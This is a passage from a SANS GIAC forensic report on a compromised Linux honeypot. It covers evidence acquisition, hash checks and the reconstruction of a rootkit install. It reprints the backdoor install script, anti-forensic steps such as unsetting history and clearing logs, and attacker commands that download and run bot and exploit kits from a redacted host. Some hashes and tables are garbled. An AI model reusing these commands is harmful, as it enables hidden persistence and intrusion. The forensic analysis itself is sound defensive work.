The sebeksniff host was configured to sniff for UDP packets on port 1101. The sebeksniff system had Linux 7.3 as the operating system.

The log server was configured to accepting logging from the firewall and the honey pot systems. The operating system on the log server was Linux 8.0.

2.3. Hardware Description

The following is a list of evidence items:

<table>
<thead>
<tr>
<th>Tag #’s</th>
<th>Description</th>
</tr>
</thead>
</table>
| Tag # 01 | Western Digital AC26400-60RTT0  
Hard Drive, Serial #: WM627 232 5552, Size: 6448.6 MB |
| Tag # 02 | Compaq Deskpro, 400/100 MHz, Serial #: 6919BW42A085 |
| Tag # 03 | Western Digital AC26400-60RTT0  
Hard Drive, Serial #: WM627 232 3421, Size: 6448.6 MB |
| Tag # 04 | Compaq Deskpro, 400/100 MHz, Serial #: 6919BW42A129 |
| Tag # 05 | CDROM labeled “Casefile 10/10/03 logs” with initials FT |
Tag # 01 came from the Linux 7.3 honeypot computer identified in Tag # 02 and Tag # 03 was taken from the log server system identified in Tag #04. Both systems were identical Compaq Deskpro P400s with an internal hard drive, 128MB of RAM, internal 3.5" high density floppy drive and sound card. Tag items # 01 through Tag # 04 were seized from Some Company located in the computer room on the third floor at 123 Anywhere Street, Anytown, Manitoba, Canada.

The CDROM, Tag # 05, contained the log files from the sebeksniff host, logs from the snort v2 host, the var partition dd image from the logserver (Tag #03), the live response files from the linux 7.3 host and the MD5 checksum files for each file on the CDROM.

### 2.4. Media Image

The hard drive listed as Tag # 01 was connected to the FastBloc device. The device used is a FastBloc “Classic” from Guidance Software (www.guidancesoftware.com). FastBloc is a hardware write-blocked device. The FastBloc device was connected to a PCMCIA SCSI card installed in a ThinkPad model A31 laptop running EnCase v4.14, as shown in Figure 11. The EnCase software was used to acquire an EnCase image evidence file of the drive. During the preview and acquisition phases the EnCase software provides a verification checkbox that the device being viewed or acquired is write protected. The write protection ensures the evidence is not changed or modified.

![Figure 11. FastBloc - drive image Tag #01](image-url)
The MD5 hash was calculated during the preview of Tag #02 using EnCase. The preview MD5 checksum is shown in Figure 12.

Figure 12. Preview MD5 Hash of Linux 7.3 honeypot system

The check box to "Search, Hash and Signature Analysis" was selected. This box ensures the image file is added to the case, performs an MD5 hash on all files on the drive and does a signature analysis.

Figure 13. Initial search, MD5 of files and Signature analysis.
To ensure the MD5 checksum from the preview was identical to the acquired evidence file another MD5 hash was done. The resulting hash is shown in Figure 15. We have verified the acquisition evidence file and the preview MD5 checksum are identical. The MD5 hash value can be recalculated any time during the analysis to verify the integrity of the evidence, see Figure 15.

Files on the CDROM, Tag item # 05, included an MD5 hash file. Below is the file listing:

<table>
<thead>
<tr>
<th>MD5</th>
<th>Hash Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>liveresponse.tar</td>
<td>994b0c3b8e91d10087fa085f9586f4de</td>
</tr>
<tr>
<td>sebek.out</td>
<td>82b86c939e8347c71e25655530b66dc7</td>
</tr>
<tr>
<td>snortfiles.tar</td>
<td>66130385e828dbb5218a492d6f1df6a1</td>
</tr>
<tr>
<td>varddimage.gz</td>
<td>d073eb91e149936a313f907cd3c9a3ac</td>
</tr>
</tbody>
</table>
Using md5sum.exe from http://www.etree.org/md5com.html, the file checksums were verified. The output is shown below:

```
D:\>md5sum *
994b0c3b8e91d10087fa085f9586f4de *liveresponse.tar
82b86c939e8347c71e25655530566dc7 *sebek.out
66130385e828dbb5218a492d6f1df6ac *snortfiles.tar
d073eb91e149936a313f907cd3c9a3ac *varddimage.gz
```

### 2.5. Media Analysis

The system used to analyze the evidence was an IBM ThinkPad model A31 with a 1.8Ghz processor, 1.0GB of RAM. There were two sixty GigaByte Travelstar hard drives, a removable Matsushita UJD720 DVD/CDRW. The Forensic analysis software used to examine Tag #01 and Tag #03 and Tag #05 was EnCase (V4.14) from Guidance Software, a forensic tool of choice in our workplace.

Below is a list of all the tools used during the analysis:

1. EnCase is popular with law enforcement and private industry providing powerful forensic capabilities. [www.guidancesoftware.com](http://www.guidancesoftware.com)

2. `mac_rober` is a computer forensic tool for unix. It collects MAC (modified, access and change) times of files. [www.stake.com/research/tools/forensic](http://www.stake.com/research/tools/forensic)

3. The live response kit consisted of the following Linux binaries:

   a. `nc` (netcat) used to send data streams from the victim machine to the forensic workstation.
   b. `date` used to record the start time and stop time of the response.
   c. `w` used to identify who is currently logged in.
   d. `netstat` used to show the internet sockets that are open and to display the routing information.
   e. `lsof` used to identify backdoors and network services.
   f. `ps` used to show the processes in the process table.
   g. `ifconfig` used to obtain the network configuration
   h. `ls` used to list the /proc file system.
   i. `md5sum` used to record MD5 checksums.

See Table 2 for the exact syntax used for each command. The LD_LIBRARY_PATH variable was set to ensure known good library files were used. It is important to use either statically compiled files or trusted library files. It must be assumed the binary and library files on the system are

---

compromised. That is the reason for the using the trusted library files. The library files were included on the live response CDROM.

4. Snort (v.2.0.0) open source software that can be used as a sniffer, packet logger and network intrusion detection software. Snort reference site www.snort.org.

5. Tcpdump (v.3.6 running with libcap v0.6) open source software used for analyzing packets. Tcpdump is available from www.tcpdump.org.

6. Tcpflow (v.0.21) open source software that will allow the data stream for a TCP session to be captured. Tcpflow is available from www.circlemud.org/~jelson/software/tcpflow.

7. Linux RedHat 7.3 commands; find, md5sum, grep, ls. These commands are part of the unix operating system. (www.redhat.com).

EnCase provides verification via MD5 hashes of drive previews and evidence files when opened. The MD5 checksum was calculated when Tag item #1 was previewed and acquired. The FastBloc device ensures the evidence is not altered or changed in any way. The verification checksum ensures the evidence has not been corrupted or altered and allows for verification throughout the analysis process.

When the harddrive, Tag item #1, was first acquired as an evidence file an acquisition MD5 checksum was calculated. A verification MD5 checksum can be run at anytime. EnCase has powerful search capabilities through the use of keywords. Generic keyword lists are available, but meaningful keywords assist in narrowing the investigation. To focus the EnCase analysis a meaningful keyword list was compiled using the live response files and associated logs.

Before the initial acquisition the keywords were entered and selected. Once the drive was acquired EnCase used the keyword list to search the acquired evidence file.

**File system**

The live response and log analysis provided a focus for beginning the file system analysis. The IDS logging provided details on the initial connections that led to the compromise of the victim machine. The encrypted ssh session meant the IDS logging could not provide details on the events occurring on the victim machine.

The first files analyzed were the files and directories identified as suspicious during the live response analysis. Those directories and files were:

- Nfsd
- sshd_config
- Popauth
- minilogd
- /tmp/.s
- services
Analysis of the /tmp/.s directory corroborating evidence seen in the IDS logs. The file install.log had a last written date of 03:25:20PM. The install.log file was created by the running of the install script from the s.tar.gz file. The install.log file is shown in Table 2.

Table 2. install.log output

Table 2. install.log output shows “PS, PSTREE and LS DIR VDIR” failing during install. Further analysis of the install script is shown below in steps 1 to 20 below. The bolded fonts in step 11 are the one’s that the install log showed as failing. Steps 12 to 21 are the actions that were never completed. This was verified taking the MD5 file hashes and comparing them with MD5 hashes from a clean install of Linux RedHat 7.3 machine.

1) The HISTFILE is configured not to capture commands with “unset HISTFILE”.

2) The command “chattr -iau” is used, (the “-” removes attributes from the file, “i” => immutable, “a” => append only and “u” => undeletable”). The files the command was used on are listed below;

```
/etc/rc.d/init.d/sshd
/etc/rc.d/init.d/syslog
/etc/rc.d/init.d/functions
/usr/sbin/sshd
/usr/local/sbin/sshd
/bin/ps
```

3) Stop syslog with “/etc/rc.d/init.d/syslog stop”

4) kill the rpc portmapper

5) remove *.tgz file(s) from the ../ directory.

6) Copy the .1proc file to /dev/ttyop. The .1proc file is a list of processes shown below:

   2 sl  2 sl2  2 st  2 v
   2 foo 3 scan 3 ping 3 tcpd
   3 nfsd 3 lpd 3 r00t 2 x2
   3 strobe 2 sc 3 luckstatdx 2 /dev/killall
   2 hds 3 /usr/sbin/nfsd 3 mass 3 o
   3 vuln 3 weit

7) Copy the .1addr file to /dev/ttyoa. The .1addr file is a list of ports shown below:

   3 18  4 18  3 6667  4 6667  3 1
   4 1

8) Copy the .1file file to /dev/ttyof. The .1file is a list of filenames shown below:

   .s  .x  logs  sense  tcp.log
   mps  mls  killer  mtop  mpstree
ttyop  ttyof  ttyoa  ttyos  wipe
clean  sense  nfsd  hds  hds1
   v  sl2  sl  foo  st
r00t

9) Copy the .1logz file to /dev/ttyos. The .1logz file is a list of IP addresses, domain names and log file names shown below:

   XXX.hypermart.net  XXX.XXX.0.159  syslog
   klogd  net-pf-10  XXX.97.33.*

10) touch -acmr ( a => change access time, c => do not create any files, m => change modification time, r => use the file referenced times instead of current time). The touch command was performed on the files listed. The first file is the file whose times are used as reference, the second is the trojan binary included in the s.tar.gz root kit.

   /usr/bin/du du /usr/bin/find find /usr/bin/killall killall
   /bin/ps ps /bin/netstat netstat /usr/bin/pstree pstree
   /bin/ls ls /usr/bin/top top /usr/bin/vdir vdir
11) Place the trojan binaries and move existing binaries appending the original name with an “m”:

```plaintext
ps => /bin/ps  pstree => /usr/bin/pstree  top => /usr/bin/top
ls  => /bin/ls  killall => /usr/bin/killall  ls  => /usr/bin/dir
du  => /usr/bin/du  find  => /usr/bin/find  vdir => /usr/bin/vdir
netstat => /bin/netstat
```

12) The `nfsdi` script, located in the `nfsd` directory, is called to install the `nfsd (sshd backdoor)` on port 18:

The `nfsdi` script does the following:

- a) `p.sshd` is copied to `/usr/sbin/nfsd`
- b) a `chmod +s` and `chattr +iau` done on `/usr/sbin/nfsd`
- c) `sshd_config` copied to `/sbin/sshd_config`, `chattr +iau` is done on the file.
- d) host key (`xxxh_h`) and random key (`xxh_r`) are copied to `/sbin`.
- e) `nfsd (sshd)` is run
- f) `chattr -iau` run on `/etc/rc.d/init.d/syslog` and `/etc/rc.d/init.d/functions`.
- g) The line “`/usr/sbin/nfsd -f /sbin/sshd_config`” is appended to the end of `/etc/rc.d/init.d/syslog` and `/etc/rc.d/init.d/functions` and `chattr +iau` is run.

13) Rootkit utilities are installed:

```plaintext
clean => /usr/bin/clean
sense => /usr/bin/sense
dos/sl2 => /usr/bin/dos/sl2
dos/foo => /usr/bin/dos/foo
dos/st => /usr/bin/dos/st
dos/v => /usr/bin/dos/v
```

14) Linsniffer installed storing logs in `/dev/logs` “linsniffer /usr/bin/lpd”.

15) Setting up crontab “`/usr/bin/crontab cron-root`”.

16) Ports Open check using command “`/usr/sbin/lsof|grep LISTEN`”.

17) Checking for “Other RooTKITs”.

18) starting syslog with “`/etc/rc.d/init.d/syslog start`”

19) Reviewing logs, cron, maillog with echo of;

```plaintext
/var/log/messages  /var/log/boot.log  /var/log/cron
/var/log/secure  /var/log/maillog
```

20) Using `chattr +iau` on

```plaintext
/etc/rc.d/init.d/syslog  /etc/rc.d/init.d/functions  /bin/ps
/bin/netstat  /bin/ls  /usr/bin/du
/usr/bin/find  /usr/bin/pstree  /usr/bin/killall
```
21) Closing message "Na hai sa ne pisam pe iei -;)"

TCPFLOW output showed the uncompressing of the s.tar.gz files. When the file system /tmp/.s was examined three of the trojan binaries were not present, they were "ls, ps and vdir". Table 3 shows a comparison from the TCPFLOW file list and the files in the /tmp/.s directory:

<table>
<thead>
<tr>
<th>TCPFLOW log</th>
<th>Files in /tmp</th>
<th>Last access</th>
<th>Notes - (All virus infected with Linux.RST.B)</th>
</tr>
</thead>
<tbody>
<tr>
<td>.s/</td>
<td>/tmp/.s</td>
<td>03:25:20PM</td>
<td>Hidden directory</td>
</tr>
<tr>
<td>.s/du</td>
<td>/tmp/.s/du</td>
<td>03:25:20PM</td>
<td>Trojan du (disk usage command) references ttyof. The install script copies .1file to ttyof.</td>
</tr>
<tr>
<td>.s/find</td>
<td>/tmp/.s/find</td>
<td>03:25:20PM</td>
<td>Trojan find command references ttyof. The install script copies .1file to ttyof.</td>
</tr>
<tr>
<td>.s/killall</td>
<td>/tmp/.s/killall</td>
<td>03:25:20PM</td>
<td>Trojan killall command used to kill processes. References ttyop. The install script copies .1proc to ttyop.</td>
</tr>
<tr>
<td>.s/linnsniffer</td>
<td>/tmp/.s/linnsniffer</td>
<td>03:25:20PM</td>
<td>Trojan linnsniffer program.</td>
</tr>
<tr>
<td>.s/ls</td>
<td>-not present-</td>
<td></td>
<td>list command.</td>
</tr>
<tr>
<td>.s/netstat</td>
<td>/tmp/.s/netsat</td>
<td>03:25:20PM</td>
<td>Trojan netsat, network status command references ttyoa. The install script copies .laddr to ttyoa.</td>
</tr>
<tr>
<td>.s/ps</td>
<td>-not present-</td>
<td></td>
<td>Process status command references ttyoa.</td>
</tr>
<tr>
<td>.s/pstree</td>
<td>/tmp/.s/pstree</td>
<td>03:25:20PM</td>
<td>Process tree list. References ttyop. The install script copies .1proc to ttyop.</td>
</tr>
<tr>
<td>.s/vdir</td>
<td>/tmp/.s/vdir</td>
<td>03:25:20PM</td>
<td>Lists directory contents. References ttyop. The install script copies .1proc to ttyop.</td>
</tr>
<tr>
<td>.s/top</td>
<td>/tmp/.s/top</td>
<td>03:25:20PM</td>
<td>Show top CPU Processes. References ttyop.</td>
</tr>
<tr>
<td>.s/.laddr</td>
<td>/tmp/.s/.laddr</td>
<td>03:25:20PM</td>
<td>Install script copies this to /dev/ttyoa. Contains a list of that trojan binaries uses. Binaries using this reference are netstat</td>
</tr>
<tr>
<td>.s/.1file</td>
<td>/tmp/.s/.1file</td>
<td>03:25:20PM</td>
<td>Install script copies this to /dev/ttyof. Contains a list of that trojan binaries uses. Binaries using this reference are netstat</td>
</tr>
<tr>
<td>.s/.1logz</td>
<td>/tmp/.s/.1logz</td>
<td>03:25:20PM</td>
<td>Install script copies this to /dev/ttyos. Contains a list of that trojan binaries uses. Binaries using this reference are netstat</td>
</tr>
<tr>
<td>.s/.1proc</td>
<td>/tmp/.s/.1proc</td>
<td>03:25:20PM</td>
<td>Install script copies this to /dev/ttyoa. Contains a list of that trojan binaries uses. Binaries using this reference are netstat</td>
</tr>
<tr>
<td>.s/clean</td>
<td>/tmp/.s/clean</td>
<td>03:25:20PM</td>
<td>Log file cleanup script.</td>
</tr>
<tr>
<td>.s/nfsd/</td>
<td>/tmp/.s/nfsd</td>
<td>03:25:21PM</td>
<td>Directory</td>
</tr>
<tr>
<td>.s/nfsd/sshd_</td>
<td>/tmp/.s/nfsd</td>
<td>03:25:21PM</td>
<td>ssrd (sshd) configuration file.</td>
</tr>
<tr>
<td>.s/nfsd/sshd_config</td>
<td>d_config</td>
<td></td>
<td>HostKey file for nfsd (sshd) referenced in configuration file. EnCase output shows key as a private key belonging to...</td>
</tr>
</tbody>
</table>

EnCase output shows key as a private key belonging to
The examination began with the startup files. In Linux RedHat 7.3 the startup begins with the /etc/rc.d/rc.sysinit script. This script was identified in the initial keyword search. It contained the keyword “weit”, one of the suspicious files seen in the live response. Two other startup files were identified in the keyword search. They are located in the /etc/init.d hierarchy.

“The inittab file is the configuration file used by ‘init’. The inittab file is located in the /etc directory and provides the run level the system will start in. RedHat Linux runs the /etc/rc.d/rc.sysinit script before running the rc ‘init’ script.”

The rc.sysinit file was identified, in the root kit install log, as one of the startup scripts that was modified. To view all startup scripts in /etc/rc.d with EnCase the rc.d homeplate was selected as shown in Figure 16 - upper left pane.

From the analysis of the s.tar.gz install script and the startup files we know three startup files were modified.

To identify file changes a fresh install of Linux 7.3 was used to generate MD5 hashes to compare against the Linux 7.3 victim machine. The output from the command below was piped (|) into an output file for comparison purposes. The find command below starts at the root “/”, looking for names of all files “-name \\*”, do not parse the /proc directory structure “\'/proc’ -prune -o”, only look at files “-type f” and run an md5sum on the file “-exec md5sum {} \;”.

```
#find / -name \\* -path ‘/proc’ -prune -o -type f -exec md5sum {} \\
```

To create a hash file in EnCase the files were checked off and an export of the hash values, file name, file logical size and path was done. This created a space
delimited flat file. The file was transferred to the Linux, normalized, and comparisons were run using the unix ‘comm’ command as shown below:

```
comm -3 known-good-startup.txt export-phase4-startup.txt | more
```

The comm command with the -3 switch will not show lines from the two files that are identical. The output is shown:

```
/etc/rc.d/init.d/functions 918ec2bf2cda7890118d41731001ed09 9962
   /etc/rc.d/init.d/functions e62d86534bd966c0378d8045aaaa0762 9998
```

Looking at the end of the functions script we find the covert ssh startup command.

```
... 
  done
} /usr/sbin/nfsd -f /sbin/sshd_config
Trojaned functions startup script – nfsd (ssh on port 18) added
```

```
/etc/rc.d/init.d/syslog bf2c05fb64dc8c193dfbc21052f5e6e5 1369
   /etc/rc.d/init.d/syslog 7e7d2b5075662d3cd6e35c24b5003d69 1405
```

Looking at the end of the syslog script we again find the covert ssh startup command.

```
... 
  exit $? 
  /usr/sbin/nfsd -f /sbin/sshd_config
Trojaned syslog startup script – nfsd (ssd on port 18) added
```

```
/etc/rc.d/rc.sysinit 48fa67a16b96d8d1768a5f9d8421eee4 22379
   /etc/rc.d/rc.sysinit ee965268d25b940f2e16deb5b98790 22379
```

Looking at the end of the rc.sysinit script we find the virus infected (Linux.RST.B) weit command.

```
.Looking at the end of the /etc/rc.d/rc.sysinit script we find the weit command.
```

```
  /sbin/getkey i && touch /var/run/confirm
fi
weit
Trojaned rc.sysinit startup script – wait changed to weit
```

The “last written” time from each file showed the /etc/rc.d/rc.sysinit script being modified at 3:22:09pm and both the /etc/rc.d/init.d/syslog and /etc/rc.d/init.d/functions scripts modified at 3:25:21pm. Figure 16 is a screen shot of...
the `/etc/rc.d` folder and associated folders and files, all sorted using the Entry Modified time.

To display all of the folders and files under `/etc/rc.d` refer to the upper left hand window in Figure 16. The “home plate” to the left of the check box is selected as shown. To perform a sort, the “Entry Modified” column was selected. The red arrow in the upper right corner of the Entry Modified column indicates this column is sorted. (Refer to the EnCase report in Appendix F).

The back doors found on the system were:

- The `nfsd` daemon (trojaned `sshd`) running on process ID’s 19810 and 19811
- The `weit` program run from the `rc.sysinit` script in the `/etc/rc.d` directory that spawned the `popauth` program that sets up a listener on UDP port 3049.
- The IRC server running on process ID’s 19936 and 19941.

Looking at the install script in `/tmp/.s/install` we see

```
  cd nfsd; ./nfsdi
```

The `nfsdi` script modifies the syslog and functions scripts and installs the trojan, virus infected, `nfsd`.

```
#!/bin/sh
```

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
if [ -x /usr/sbin/nfsd ]; then
    chattr -iau /usr/sbin/nfsd
    rm -f /usr/sbin/nfsd
    cp -f ../p.sshd /usr/sbin/nfsd
    chmod +s /usr/sbin/nfsd
    chattr +iau /usr/sbin/nfsd
else
    cp -f ../p.sshd /usr/sbin/nfsd
    chmod +s /usr/sbin/nfsd
    chattr +iau /usr/sbin/nfsd
fi
if [ -f /sbin/sshd_config ]; then
    chattr -iau /sbin/sshd_config
    rm -f /sbin/sshd_config
    cp -f sshd_config /sbin
    chattr +iau /sbin/sshd_config
else
    cp -f sshd_config /sbin
    chattr +iau /sbin/sshd_config
fi

The IRC bot Software was running as process ID 19941 and 19936. The installation and start of the script was done during a session to the victim host (192.168.2.15) from IP address XXX.XXX.108.64 between ports 35157 and 443. The time of this event was 15:22:43. The command below downloaded the bot.tgz, tar-gzipped file (wget XXX.XXX.com/eladoht/bot.tgz). The file was unpacked (tar –zxvf bot.tgz), the file was removed (rm –rf bot.tgz), the directory was changed from /tmp to /tmp/.X11-pipe (cd .X11-pipe), the mode was set to executable (chmod +x inetd/services) and the services file run (inetd/services).

wget XXX.XXX.com/eladoht/bot.tgz;tar –zxvf bot.tgz;rm –rf
bot.tgz;cd .X11-pipe;chmod +x
inetd/services;inetd/services;inetd/services

The linsniffer program was part of the s.tar.gz file. Analysis of the file system showed no indication of the linsniffer program. The install.log showed the install script didn’t complete the install of linsniffer. Using EnCase, a filter search for the file name tcp.log was conducted. The filter search turned up no hits.
A keyword search was next. The purpose of the search was to see if the file existed but had been deleted. The keyword search found the tcp.log referenced 11 times. The references are summarized below:

- 6 hits were in the /tmp/.s/install file.
- 1 hits in the /dev/ttyof file.
- 1 hits in the /tmp/.s/linsniffer binary file.
- 1 hits in the /tmp/.s/.1file
- 1 hits in the /root/.bash_history file.
- 1 hits in the /swap space (swap space Is a .bash_history events).

The directory /dev/log did exist with a MAC time stamp of 03:2206PM on 06/29/03.

Once the nsfd was running, the attacker connected, using ssh on port 18 and continued the configuration and setup of the root kits. The attacker mistyped the command for turning off HISTFILE and because of this error the .bash_history log file recorded the commands issued. These commands confirm the sebek output. The /root/.bash_history file, shown in Table 4, gives the keystroke history for the installation and running of the samba.tgz kit.

<table>
<thead>
<tr>
<th>unset HISTFILES</th>
</tr>
</thead>
<tbody>
<tr>
<td>cd /tmp</td>
</tr>
<tr>
<td>ls -al</td>
</tr>
<tr>
<td>dir -al</td>
</tr>
<tr>
<td>rm -rf .s</td>
</tr>
<tr>
<td>rm -rf r</td>
</tr>
<tr>
<td>mc</td>
</tr>
<tr>
<td>ps ax</td>
</tr>
<tr>
<td>killall -9 cp chmod</td>
</tr>
<tr>
<td>ps ax</td>
</tr>
<tr>
<td>kill -9 19504 19508</td>
</tr>
<tr>
<td>ps ax</td>
</tr>
<tr>
<td>cd /bin</td>
</tr>
<tr>
<td>mkdir .EhT</td>
</tr>
<tr>
<td>cd /tmp</td>
</tr>
<tr>
<td>cd .font</td>
</tr>
<tr>
<td>wget XXX.XXX.com/eladoht/samba.tgz</td>
</tr>
<tr>
<td>tar -zxvf samba.tgz</td>
</tr>
<tr>
<td>cd samba</td>
</tr>
<tr>
<td>ifconfig</td>
</tr>
<tr>
<td>./samba -d 0 -S 192.168.2.*</td>
</tr>
<tr>
<td>./samba -d 0 -S XXX.XXX.5.*</td>
</tr>
<tr>
<td>nmap</td>
</tr>
<tr>
<td>nmap XXX.XXX.42.58</td>
</tr>
<tr>
<td>./sys XXX.XXX.42.58</td>
</tr>
<tr>
<td>./sys XXX.XXX.42.58</td>
</tr>
<tr>
<td>whereis tcp.log</td>
</tr>
<tr>
<td>netstat -a</td>
</tr>
<tr>
<td>netstat</td>
</tr>
<tr>
<td>./samba -d 0 -S XXX.XXX.42.*</td>
</tr>
<tr>
<td>nmap XXX.XXX.49.137</td>
</tr>
<tr>
<td>./sys XXX.XXX.49.137</td>
</tr>
</tbody>
</table>
The EnCase enscript used for reporting the sticky bit did not identify the bit as either setuid or setgid. To provide a complete listing of setuid and setgid a dd image was made of the evidence drive (Tag # 02) using Fastbloc. The command used to create the dd image was:

```
dd if=/dev/sd1 of=/mnt/linux73-062903.bin bs=1024 conv=noerror,notrunc,sync
```

The dd command is used to make a bit for bit image. The command line switches are:

- “if” => identifies the input file, in this case it is /dev/sd1.
- “of” => designated the output file, in this case it is /mnt/linux73-062903.bin.
- “bs” => is the block size to use for reading and writing.
- “conv” => is used to send extra arguments to dd.
- “noerror” => tells dd not to stop when reading if an error occurs.
- “notrunc” => no truncation of the output if an error happens.
• “sync” => if an error occurs use zeros in the output file.  

The MD5 checksum was verified against the MD5 checksum from EnCase. See Figure 17.

![Figure 17 dd image MD5 checksum.](image)

Using the loop back devices the filesystem was mounted as ro and the find command was used to obtain the following:

1. The syntax of the find command for locating hidden directories is;

   ```bash
   find /mnt/linux73 -name ".*" -type d -printf "%Tc %k %h/%f
   ```

   The “/mnt/linux73” tells find where to start. The “-name ".*" -type d” tells find to look for directories that begin with a “.” (the “.” in unix hides the directory or file). The last command line switch tells find to print out the file date and time information.

<table>
<thead>
<tr>
<th>Directories of interest are listed below:</th>
</tr>
</thead>
<tbody>
<tr>
<td>.</td>
</tr>
<tr>
<td>.</td>
</tr>
<tr>
<td>Sun 29 Jun 2003 03:41:56 PM CST 1 /mnt/linux73/tmp/.font- unix</td>
</tr>
<tr>
<td>Sun 29 Jun 2003 04:00:24 PM CST 1 /mnt/linux73/tmp/.font- unix/.X11-pipe</td>
</tr>
<tr>
<td>Sun 29 Jun 2003 03:22:10 PM CST 1 /mnt/linux73/tmp/.s</td>
</tr>
<tr>
<td>Sun 29 Jun 2003 03:22:08 PM CST 1 /mnt/linux73/.x</td>
</tr>
</tbody>
</table>

---

2. Locating the setuid files:

```bash
find /mnt/linux73 -type f -a -perm -4000 -exec ls -aslg {} \;
```

The "/mnt/linux73" tells find where to start. The "-type f -a -perm -4000" tells find to look for a regular file with the setuid bit set. The "-exec ls -aslg {}\;" command line switch tells find to print out the file details.

```plaintext
<table>
<thead>
<tr>
<th>File Path</th>
<th>User</th>
<th>Group</th>
<th>Permissions</th>
<th>Size (Bytes)</th>
<th>Last Modified</th>
</tr>
</thead>
<tbody>
<tr>
<td>/mnt/linux73/usr/bin/chage</td>
<td>root</td>
<td>root</td>
<td>rwsr-xr-x</td>
<td>34296</td>
<td>Mar 27 2002</td>
</tr>
<tr>
<td>/mnt/linux73/usr/bin/gpasswd</td>
<td>root</td>
<td>root</td>
<td>rwsr-xr-x</td>
<td>36100</td>
<td>Mar 27 2002</td>
</tr>
<tr>
<td>/mnt/linux73/usr/bin/at</td>
<td>root</td>
<td>root</td>
<td>rwsr-xr-x</td>
<td>37528</td>
<td>Jan 17 2002</td>
</tr>
<tr>
<td>/mnt/linux73/usr/bin/passwd</td>
<td>root</td>
<td>root</td>
<td>rwsr-xr-x</td>
<td>15104</td>
<td>Mar 13 2002</td>
</tr>
<tr>
<td>/mnt/linux73/usr/bin/chfn</td>
<td>root</td>
<td>root</td>
<td>rwsr-xr-x</td>
<td>12072</td>
<td>Apr 1 2002</td>
</tr>
<tr>
<td>/mnt/linux73/usr/bin/chsh</td>
<td>root</td>
<td>root</td>
<td>rwsr-xr-x</td>
<td>11496</td>
<td>Apr 1 2002</td>
</tr>
<tr>
<td>/mnt/linux73/usr/bin/newgrp</td>
<td>root</td>
<td>root</td>
<td>rwsr-xr-x</td>
<td>4764</td>
<td>Apr 1 2002</td>
</tr>
<tr>
<td>/mnt/linux73/usr/bin/crontab</td>
<td>root</td>
<td>root</td>
<td>rwsr-xr-x</td>
<td>21080</td>
<td>Apr 14 2002</td>
</tr>
<tr>
<td>/mnt/linux73/usr/bin/iqpasswordd</td>
<td>root</td>
<td>root</td>
<td>rwsr-xr-x</td>
<td>19927</td>
<td>Apr 17 2002</td>
</tr>
<tr>
<td>/mnt/linux73/usr/bin/logdev</td>
<td>root</td>
<td>root</td>
<td>rwsr-xr-x</td>
<td>219932</td>
<td>Apr 4 2002</td>
</tr>
<tr>
<td>/mnt/linux73/usr/bin/newgrp</td>
<td>root</td>
<td>root</td>
<td>rwsr-xr-x</td>
<td>7404</td>
<td>Apr 17 2002</td>
</tr>
<tr>
<td>/mnt/linux73/usr/bin/kheckpass</td>
<td>root</td>
<td>root</td>
<td>rwsr-xr-x</td>
<td>14588</td>
<td>Jul 24 2001</td>
</tr>
<tr>
<td>/mnt/linux73/usr/bin/cp</td>
<td>root</td>
<td>root</td>
<td>rwsr-xr-x</td>
<td>10940</td>
<td>Jul 24 2001</td>
</tr>
<tr>
<td>/mnt/linux73/usr/bin/login</td>
<td>root</td>
<td>root</td>
<td>rwsr-xr-x</td>
<td>7932</td>
<td>Jul 24 2001</td>
</tr>
<tr>
<td>/mnt/linux73/usr/bin/sh</td>
<td>root</td>
<td>root</td>
<td>rwsr-xr-x</td>
<td>84680</td>
<td>Apr 18 2002</td>
</tr>
<tr>
<td>/mnt/linux73/usr/sbin/ping6</td>
<td>root</td>
<td>root</td>
<td>rwsr-xr-x</td>
<td>32673</td>
<td>Apr 18 2002</td>
</tr>
<tr>
<td>/mnt/linux73/usr/bin/traceroute6</td>
<td>root</td>
<td>root</td>
<td>rwsr-xr-x</td>
<td>13994</td>
<td>Apr 18 2002</td>
</tr>
</tbody>
</table>

3. Locating setgid files:

```bash
find /mnt/linux73 -type f -a -perm -2000 -exec ls -aslg {} \;
```

The "/mnt/linux73" tells find where to start. The "-type f -a -perm -2000" tells find to look for a regular file with the setgid bit set. The "-exec ls -aslg {}\;" command line switch tells find to print out the file details.

```plaintext
<table>
<thead>
<tr>
<th>File Path</th>
<th>User</th>
<th>Group</th>
<th>Permissions</th>
<th>Size (Bytes)</th>
<th>Last Modified</th>
</tr>
</thead>
<tbody>
<tr>
<td>/mnt/linux73/usr/bin/lockfile</td>
<td>root</td>
<td>root</td>
<td>rwsr-xr-x</td>
<td>17811</td>
<td>Mar 25 2002</td>
</tr>
<tr>
<td>/mnt/linux73/usr/bin/slocate</td>
<td>root</td>
<td>root</td>
<td>rwsr-xr-x</td>
<td>25020</td>
<td>Jun 20 2001</td>
</tr>
<tr>
<td>/mnt/linux73/usr/bin/login</td>
<td>root</td>
<td>root</td>
<td>rwsr-xr-x</td>
<td>6920</td>
<td>Mar 14 2002</td>
</tr>
<tr>
<td>/mnt/linux73/usr/bin/write</td>
<td>root</td>
<td>root</td>
<td>rwsr-xr-x</td>
<td>8584</td>
<td>Apr 1 2002</td>
</tr>
<tr>
<td>/mnt/linux73/usr/bin/traceroute6</td>
<td>root</td>
<td>root</td>
<td>rwsr-xr-x</td>
<td>57092</td>
<td>Apr 17 2002</td>
</tr>
<tr>
<td>/mnt/linux73/usr/bin/sudo</td>
<td>root</td>
<td>root</td>
<td>rwsr-xr-x</td>
<td>6604</td>
<td>Jun 24 2001</td>
</tr>
<tr>
<td>/mnt/linux73/usr/sbin/sendmail</td>
<td>root</td>
<td>root</td>
<td>rwsr-xr-x</td>
<td>19116</td>
<td>Apr 8 2002</td>
</tr>
<tr>
<td>/mnt/linux73/sbin/pwdckpwd</td>
<td>root</td>
<td>root</td>
<td>rwsr-xr-x</td>
<td>120264</td>
<td>Apr 9 2002</td>
</tr>
<tr>
<td>/mnt/linux73/bin/unix_ckpwwd</td>
<td>root</td>
<td>root</td>
<td>rwsr-xr-x</td>
<td>16992</td>
<td>Apr 9 2002</td>
</tr>
<tr>
<td>/mnt/linux73/sbin/suexec</td>
<td>root</td>
<td>root</td>
<td>rwsr-xr-x</td>
<td>242909</td>
<td>Jun 29 2002</td>
</tr>
<tr>
<td>/mnt/linux73/sbin/slocate</td>
<td>root</td>
<td>root</td>
<td>rwsr-xr-x</td>
<td>1602576</td>
<td>Apr 18 2002</td>
</tr>
<tr>
<td>/mnt/linux73/sbin/sendmail</td>
<td>root</td>
<td>root</td>
<td>rwsr-xr-x</td>
<td>43951</td>
<td>Jun 30 2002</td>
</tr>
<tr>
